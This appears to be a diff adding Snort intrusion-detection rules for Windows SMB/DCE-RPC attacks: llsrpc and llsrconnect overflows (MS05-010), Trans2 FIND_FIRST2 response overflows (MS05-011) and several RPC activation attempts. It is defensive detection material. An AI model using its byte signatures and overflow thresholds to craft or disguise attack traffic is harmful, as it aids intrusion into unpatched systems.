+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3103; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3102; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3099; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3126; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3118; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3124; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3116; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3113; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3120; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3129; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|l|00|l|00|s|00|r|00|p|00|c|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3091; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|llsrpc|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3094; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3105; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3107; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrconnect little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3115; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3125; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|l|00|l|00|s|00|r|00|p|00|c|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3093; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3112; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3101; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|l|00|l|00|s|00|r|00|p|00|c|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3097; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,104,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3128; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|llsrpc|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.llsrpc; classtype:protocol-command-decode; sid:3090; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrconnect overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.llsrpc; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; byte_test:4,>,52,0,relative; reference:url,www.microsoft.com/technet/security/bulletin/ms05-010.mspx; classtype:attempted-admin; sid:3122; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB llsrpc unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3104; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS llsrpc bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"@|FD|,4l<|CE 11 A8 93 08 00|+.|9C|m"; within:16; distance:29; flowbits:set,smb.tree.bind.llsrpc; classtype:protocol-command-decode; sid:3106; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Trans2 QUERY_FILE_INFO attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; content:"|07 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3135; rev:2;)
+alert tcp $HOME_NET 139 -> $EXTERNAL_NET any (msg:"NETBIOS SMB Trans2 FIND_FIRST2 response andx overflow attempt"; flow:established,to_client; flowbits:isset,smb.trans2; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; flowbits:unset,smb.trans2; byte_test:2,>,15,7,relative,little; reference:cve,2005-0045; reference:url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx; classtype:protocol-command-decode; sid:3144; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Trans2 FIND_FIRST2 attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3141; rev:2;)
+alert tcp $HOME_NET 139 -> $EXTERNAL_NET any (msg:"NETBIOS SMB Trans2 FIND_FIRST2 response overflow attempt"; flow:established,to_client; flowbits:isset,smb.trans2; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; flowbits:unset,smb.trans2; byte_test:2,>,15,7,relative,little; reference:cve,2005-0045; reference:url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx; classtype:protocol-command-decode; sid:3143; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Trans2 FIND_FIRST2 andx attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3140; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Trans2 FIND_FIRST2 attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3139; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Trans2 QUERY_FILE_INFO attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; content:"|07 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3137; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Trans2 FIND_FIRST2 andx attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3142; rev:2;)
+alert tcp $HOME_NET 445 -> $EXTERNAL_NET any (msg:"NETBIOS SMB-DS Trans2 FIND_FIRST2 response andx overflow attempt"; flow:established,to_client; flowbits:isset,smb.trans2; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; flowbits:unset,smb.trans2; byte_test:2,>,15,7,relative,little; reference:cve,2005-0045; reference:url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx; classtype:protocol-command-decode; sid:3146; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Trans2 QUERY_FILE_INFO andx attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|07 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3136; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Trans2 QUERY_FILE_INFO andx attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; content:"2"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|07 00|"; within:2; distance:29; flowbits:set,smb.trans2; flowbits:noalert; classtype:protocol-command-decode; sid:3138; rev:2;)
+alert tcp $HOME_NET 445 -> $EXTERNAL_NET any (msg:"NETBIOS SMB-DS Trans2 FIND_FIRST2 response overflow attempt"; flow:established,to_client; flowbits:isset,smb.trans2; content:"|00|"; depth:1; content:"|FF|SMB2"; within:5; distance:3; pcre:"/^.{27}/R"; flowbits:unset,smb.trans2; byte_test:2,>,15,7,relative,little; reference:cve,2005-0045; reference:url,www.microsoft.com/technet/security/Bulletin/MS05-011.mspx; classtype:protocol-command-decode; sid:3145; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3163; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3185; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3256; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode andx attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3431; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3421; rev:2;)
